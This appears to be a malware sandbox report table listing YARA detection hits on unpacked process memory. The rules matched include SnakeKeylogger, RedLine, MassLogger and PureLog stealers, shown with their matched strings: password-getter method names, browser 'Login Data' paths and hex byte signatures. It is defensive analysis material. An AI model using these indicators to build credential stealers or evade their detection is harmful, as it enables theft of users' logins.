16.2.dajivhqI.pif.2993e390.7.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1a8b4:$a1: get_encryptedPassword 0x1a888:$a2: get_encryptedUsername 0x1a94c:$a3: get_timePasswordChanged 0x1a864:$a4: get_passwordField 0x1a8ca:$a5: set_encryptedPassword 0x1a697:$a7: get_logins 0x19c21:$a8: GetOutlookPasswords 0x19135:$a9: StartKeylogger 0x17b8f:$a10: KeyLoggerEventArgs 0x17b5e:$a11: KeyLoggerEventArgsEventHandler 0x1a76b:$a13: _encryptedPassword
16.2.dajivhqI.pif.2993e390.7.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1efaf:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1e4ad:$a3: \Google\Chrome\User Data\Default\Login Data 0x1e7bb:$a4: \Orbitum\User Data\Default\Login Data 0x1f5b3:$a5: \Kometa\User Data\Default\Login Data
11.2.csrss.exe.218d9ba8.7.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x502e0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x332b0:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 18 88 44 24 2B 88 44 24 2F B0 6E 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x33930:$s3: 83 EC 38 53 B0 18 88 44 24 2B 88 44 24 2F B0 6E 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x51fba:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x51c00:$s5: delete[] 0x1de88:$s6: constructor or from DllMain. 0x510b8:$s6: constructor or from DllMain.
16.2.dajivhqI.pif.28551936.4.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
16.2.dajivhqI.pif.28551936.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
16.2.dajivhqI.pif.28551936.4.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
16.2.dajivhqI.pif.28551936.4.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
16.2.dajivhqI.pif.28551936.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
16.2.dajivhqI.pif.28551936.4.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1a8b4:$a1: get_encryptedPassword 0x1a888:$a2: get_encryptedUsername 0x1a94c:$a3: get_timePasswordChanged 0x1a864:$a4: get_passwordField 0x1a8ca:$a5: set_encryptedPassword 0x1a697:$a7: get_logins 0x19c21:$a8: GetOutlookPasswords 0x19135:$a9: StartKeylogger 0x17b8f:$a10: KeyLoggerEventArgs 0x17b5e:$a11: KeyLoggerEventArgsEventHandler 0x1a76b:$a13: _encryptedPassword
16.2.dajivhqI.pif.28551936.4.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1efaf:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1e4ad:$a3: \Google\Chrome\User Data\Default\Login Data 0x1e7bb:$a4: \Orbitum\User Data\Default\Login Data 0x1f5b3:$a5: \Kometa\User Data\Default\Login Data
16.2.dajivhqI.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 18 88 44 24 2B 88 44 24 2F B0 6E 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
16.2.dajivhqI.pif.438038.2.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1bcb0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x2f2b0:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x2f930:$s3: 83 EC 38 53 B0 18 88 44 24 2B 88 44 24 2F B0 6E 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1d98a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1d5d0:$s5: delete[] 0x1ca88:$s6: constructor or from DllMain.
11.2.csrss.exe.247e118.0.raw.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
16.2.dajivhqI.pif.2b4e0000.10.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
16.2.dajivhqI.pif.2b4e0000.10.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
16.2.dajivhqI.pif.2b4e0000.10.raw.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
16.2.dajivhqI.pif.2b4e0000.10.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
16.2.dajivhqI.pif.2b4e0000.10.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
16.2.dajivhqI.pif.2b4e0000.10.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1c6b4:$a1: get_encryptedPassword 0x1c688:$a2: get_encryptedUsername 0x1c74c:$a3: get_timePasswordChanged 0x1c664:$a4: get_passwordField 0x1c6ca:$a5: set_encryptedPassword 0x1c497:$a7: get_logins 0x1ba21:$a8: GetOutlookPasswords 0x1af35:$a9: StartKeylogger 0x1998f:$a10: KeyLoggerEventArgs 0x1995e:$a11: KeyLoggerEventArgsEventHandler 0x1c56b:$a13: _encryptedPassword
16.2.dajivhqI.pif.2b4e0000.10.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x20daf:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x202ad:$a3: \Google\Chrome\User Data\Default\Login Data 0x205bb:$a4: \Orbitum\User Data\Default\Login Data 0x213b3:$a5: \Kometa\User Data\Default\Login Data
16.2.dajivhqI.pif.29915570.9.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
16.2.dajivhqI.pif.29915570.9.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
16.2.dajivhqI.pif.29915570.9.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
16.2.dajivhqI.pif.29915570.9.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
16.2.dajivhqI.pif.29915570.9.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
16.2.dajivhqI.pif.29915570.9.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1b79c:$a1: get_encryptedPassword 0x1b770:$a2: get_encryptedUsername 0x1b834:$a3: get_timePasswordChanged 0x1b74c:$a4: get_passwordField 0x1b7b2:$a5: set_encryptedPassword 0x1b57f:$a7: get_logins 0x1ab09:$a8: GetOutlookPasswords 0x1a01d:$a9: StartKeylogger 0x18a77:$a10: KeyLoggerEventArgs 0x18a46:$a11: KeyLoggerEventArgsEventHandler 0x1b653:$a13: _encryptedPassword
16.2.dajivhqI.pif.29915570.9.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1fe97:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1f395:$a3: \Google\Chrome\User Data\Default\Login Data 0x1f6a3:$a4: \Orbitum\User Data\Default\Login Data 0x2049b:$a5: \Kometa\User Data\Default\Login Data
16.2.dajivhqI.pif.287c0000.5.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
16.2.dajivhqI.pif.287c0000.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
16.2.dajivhqI.pif.287c0000.5.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
16.2.dajivhqI.pif.287c0000.5.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
16.2.dajivhqI.pif.287c0000.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
16.2.dajivhqI.pif.287c0000.5.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1b79c:$a1: get_encryptedPassword 0x1b770:$a2: get_encryptedUsername 0x1b834:$a3: get_timePasswordChanged 0x1b74c:$a4: get_passwordField 0x1b7b2:$a5: set_encryptedPassword 0x1b57f:$a7: get_logins 0x1ab09:$a8: GetOutlookPasswords 0x1a01d:$a9: StartKeylogger 0x18a77:$a10: KeyLoggerEventArgs 0x18a46:$a11: KeyLoggerEventArgsEventHandler 0x1b653:$a13: _encryptedPassword
16.2.dajivhqI.pif.287c0000.5.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1fe97:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1f395:$a3: \Google\Chrome\User Data\Default\Login Data 0x1f6a3:$a4: \Orbitum\User Data\Default\Login Data 0x2049b:$a5: \Kometa\User Data\Default\Login Data
16.1.dajivhqI.pif.400000.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 18 88 44 24 2B 88 44 24 2F B0 6E 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
16.1.dajivhqI.pif.438038.2.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x502e0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x332b0:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 18 88 44 24 2B 88 44 24 2F B0 6E 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x33930:$s3: 83 EC 38 53 B0 18 88 44 24 2B 88 44 24 2F B0 6E 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x51fba:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x51c00:$s5: delete[] 0x1de88:$s6: constructor or from DllMain. 0x510b8:$s6: constructor or from DllMain.
16.1.dajivhqI.pif.400000.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 18 88 44 24 2B 88 44 24 2F B0 6E 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
16.2.dajivhqI.pif.28551936.4.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
16.2.dajivhqI.pif.28551936.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
16.2.dajivhqI.pif.28551936.4.raw.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
16.2.dajivhqI.pif.28551936.4.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
16.2.dajivhqI.pif.28551936.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
16.2.dajivhqI.pif.28551936.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1c6b4:$a1: get_encryptedPassword 0x1c688:$a2: get_encryptedUsername 0x1c74c:$a3: get_timePasswordChanged 0x1c664:$a4: get_passwordField 0x1c6ca:$a5: set_encryptedPassword 0x1c497:$a7: get_logins 0x1ba21:$a8: GetOutlookPasswords 0x1af35:$a9: StartKeylogger 0x1998f:$a10: KeyLoggerEventArgs 0x1995e:$a11: KeyLoggerEventArgsEventHandler 0x1c56b:$a13: _encryptedPassword
16.2.dajivhqI.pif.28551936.4.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x20daf:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x202ad:$a3: \Google\Chrome\User Data\Default\Login Data 0x205bb:$a4: \Orbitum\User Data\Default\Login Data 0x213b3:$a5: \Kometa\User Data\Default\Login Data
16.2.dajivhqI.pif.287c0000.5.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
16.2.dajivhqI.pif.287c0000.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
16.2.dajivhqI.pif.287c0000.5.raw.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
16.2.dajivhqI.pif.287c0000.5.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
16.2.dajivhqI.pif.287c0000.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
16.2.dajivhqI.pif.287c0000.5.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1d59c:$a1: get_encryptedPassword 0x1d570:$a2: get_encryptedUsername 0x1d634:$a3: get_timePasswordChanged 0x1d54c:$a4: get_passwordField 0x1d5b2:$a5: set_encryptedPassword 0x1d37f:$a7: get_logins 0x1c909:$a8: GetOutlookPasswords 0x1be1d:$a9: StartKeylogger 0x1a877:$a10: KeyLoggerEventArgs 0x1a846:$a11: KeyLoggerEventArgsEventHandler 0x1d453:$a13: _encryptedPassword
16.2.dajivhqI.pif.287c0000.5.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x21c97:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x21195:$a3: \Google\Chrome\User Data\Default\Login Data 0x214a3:$a4: \Orbitum\User Data\Default\Login Data 0x2229b:$a5: \Kometa\User Data\Default\Login Data
16.2.dajivhqI.pif.28550a4e.3.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
16.2.dajivhqI.pif.28550a4e.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
16.2.dajivhqI.pif.28550a4e.3.raw.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
16.2.dajivhqI.pif.28550a4e.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
16.2.dajivhqI.pif.28550a4e.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
16.2.dajivhqI.pif.28550a4e.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1d59c:$a1: get_encryptedPassword 0x1d570:$a2: get_encryptedUsername 0x1d634:$a3: get_timePasswordChanged 0x1d54c:$a4: get_passwordField 0x1d5b2:$a5: set_encryptedPassword 0x1d37f:$a7: get_logins 0x1c909:$a8: GetOutlookPasswords 0x1be1d:$a9: StartKeylogger 0x1a877:$a10: KeyLoggerEventArgs 0x1a846:$a11: KeyLoggerEventArgsEventHandler 0x1d453:$a13: _encryptedPassword
16.2.dajivhqI.pif.28550a4e.3.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x21c97:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x21195:$a3: \Google\Chrome\User Data\Default\Login Data 0x214a3:$a4: \Orbitum\User Data\Default\Login Data 0x2229b:$a5: \Kometa\User Data\Default\Login Data
16.1.dajivhqI.pif.46b268.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 18 88 44 24 2B 88 44 24 2F B0 6E 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
16.2.dajivhqI.pif.2b4e0000.10.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
16.2.dajivhqI.pif.2b4e0000.10.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
16.2.dajivhqI.pif.2b4e0000.10.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
16.2.dajivhqI.pif.2b4e0000.10.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
16.2.dajivhqI.pif.2b4e0000.10.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
16.2.dajivhqI.pif.2b4e0000.10.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1a8b4:$a1: get_encryptedPassword 0x1a888:$a2: get_encryptedUsername 0x1a94c:$a3: get_timePasswordChanged 0x1a864:$a4: get_passwordField 0x1a8ca:$a5: set_encryptedPassword 0x1a697:$a7: get_logins 0x19c21:$a8: GetOutlookPasswords 0x19135:$a9: StartKeylogger 0x17b8f:$a10: KeyLoggerEventArgs 0x17b5e:$a11: KeyLoggerEventArgsEventHandler 0x1a76b:$a13: _encryptedPassword
16.2.dajivhqI.pif.2b4e0000.10.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1efaf:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1e4ad:$a3: \Google\Chrome\User Data\Default\Login Data 0x1e7bb:$a4: \Orbitum\User Data\Default\Login Data 0x1f5b3:$a5: \Kometa\User Data\Default\Login Data
16.3.dajivhqI.pif.26abd218.0.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
16.3.dajivhqI.pif.26abd218.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
16.3.dajivhqI.pif.26abd218.0.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
16.3.dajivhqI.pif.26abd218.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
16.3.dajivhqI.pif.26abd218.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
16.3.dajivhqI.pif.26abd218.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1a8b4:$a1: get_encryptedPassword 0x1a888:$a2: get_encryptedUsername 0x1a94c:$a3: get_timePasswordChanged 0x1a864:$a4: get_passwordField 0x1a8ca:$a5: set_encryptedPassword 0x1a697:$a7: get_logins 0x19c21:$a8: GetOutlookPasswords 0x19135:$a9: StartKeylogger 0x17b8f:$a10: KeyLoggerEventArgs 0x17b5e:$a11: KeyLoggerEventArgsEventHandler 0x1a76b:$a13: _encryptedPassword
16.3.dajivhqI.pif.26abd218.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1efaf:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1e4ad:$a3: \Google\Chrome\User Data\Default\Login Data 0x1e7bb:$a4: \Orbitum\User Data\Default\Login Data 0x1f5b3:$a5: \Kometa\User Data\Default\Login Data
11.2.csrss.exe.247e118.0.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
11.2.csrss.exe.218d9ba8.7.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1bcb0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x2f2b0:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x2f930:$s3: 83 EC 38 53 B0 18 88 44 24 2B 88 44 24 2F B0 6E 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1d98a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1d5d0:$s5: delete[] 0x1ca88:$s6: constructor or from DllMain.
11.2.csrss.exe.2190cdd8.6.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 18 88 44 24 2B 88 44 24 2F B0 6E 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
16.2.dajivhqI.pif.29916458.8.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
16.2.dajivhqI.pif.29916458.8.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
16.2.dajivhqI.pif.29916458.8.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
16.2.dajivhqI.pif.29916458.8.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
16.2.dajivhqI.pif.29916458.8.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
16.2.dajivhqI.pif.29916458.8.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1a8b4:$a1: get_encryptedPassword 0x1a888:$a2: get_encryptedUsername 0x1a94c:$a3: get_timePasswordChanged 0x1a864:$a4: get_passwordField 0x1a8ca:$a5: set_encryptedPassword 0x1a697:$a7: get_logins 0x19c21:$a8: GetOutlookPasswords 0x19135:$a9: StartKeylogger 0x17b8f:$a10: KeyLoggerEventArgs 0x17b5e:$a11: KeyLoggerEventArgsEventHandler 0x1a76b:$a13: _encryptedPassword
16.2.dajivhqI.pif.29916458.8.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1efaf:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1e4ad:$a3: \Google\Chrome\User Data\Default\Login Data 0x1e7bb:$a4: \Orbitum\User Data\Default\Login Data 0x1f5b3:$a5: \Kometa\User Data\Default\Login Data
16.2.dajivhqI.pif.29915570.9.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
16.2.dajivhqI.pif.29915570.9.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
16.2.dajivhqI.pif.29915570.9.raw.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
16.2.dajivhqI.pif.29915570.9.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
16.2.dajivhqI.pif.29915570.9.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
